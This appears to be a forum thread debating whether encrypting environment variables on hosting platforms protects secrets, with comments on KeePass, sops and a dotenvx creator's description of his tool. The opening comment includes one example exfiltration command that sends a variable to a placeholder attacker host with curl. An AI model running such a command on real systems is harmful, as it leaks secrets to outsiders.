[bauruine]

How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them.

What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?

[ErroneousBosh]

Exactly. How do you play back the encrypted DVD without having the decryption key right there on the player for everyone to find?

[cyanydeez]

Keepass has an option to "encrypt in memory" certain passwords, sensitive information.

The point of encryption is often times about what other software or hardware attacks are minimized or eliminated.

However, if someone figures out access to a running system, theres really no way to both allow an app to run and keep everything encrypted. It certainly is possible, like the way keepass encrypts items in memory, but if an attacker has root on a server, they just wait for it to be accessed if not outright find the key that encrypted it.

This is to say, 99.9% of the apps and these platforms arn't secure against this type of low level intrusion.

[SAI_Peregrinus]

Even Keepass's "encrypt in memory" option leaves that encryption key in memory, so it can auto-type or copy passphrases into form fields. It's an extra step, but not unbreakable.

[ErroneousBosh]

And even then the passphrase is put into form fields in plaintext, so there's *got* to be some sort of attack to grab those. They must be in memory decrypted at some point.

It always comes back round to "you can't have your cake and eat it".

[trick-or-treat]

Yeah that's a good point. Dotenvx seems to claim a solution but I'm not smart enough to make sense of it.

However I do feel now like my sensitive things are better off deployed on a VPS where someone would need a ssh exploit to come at me.

[TheDong]

dotenvx is a way to encrypt your secrets at rest. It's kinda like sops but not as good. https://getsops.io/

Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest.

The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.

[scottmotte]

> If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext

Same for sops.

> The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend

The encrypted .env file is actually committed to source code, and the decryption key is placed in Vercel's environment variables dashboard. The attacker only gained access to the latter here if using dotenvx so they can't get your secrets. Unless they also gained access to the codebase in which they have terabytes of data to go through and match up private keys from the database with encrypted .env files from the source code exfiltration - much more effort for attackers.

[scottmotte]

Creator of dotenvx here.

There is no silver bullet, but Dotenvx splits your secrets into two separate locations.

1. The private decryption key - which lives on Vercel in this example 2. The encrypted .env file which lives in your source code pushed to Vercel

Attackers only got access to the first (as far as I know was reported). So your secrets would be safe in this attack if using Dotenvx. (A private key is useless without its corresponding encrypted .env file. Attackers need both.)

The whitepaper goes into the problem and solution in more detail: https://dotenvx.com/whitepaper.pdf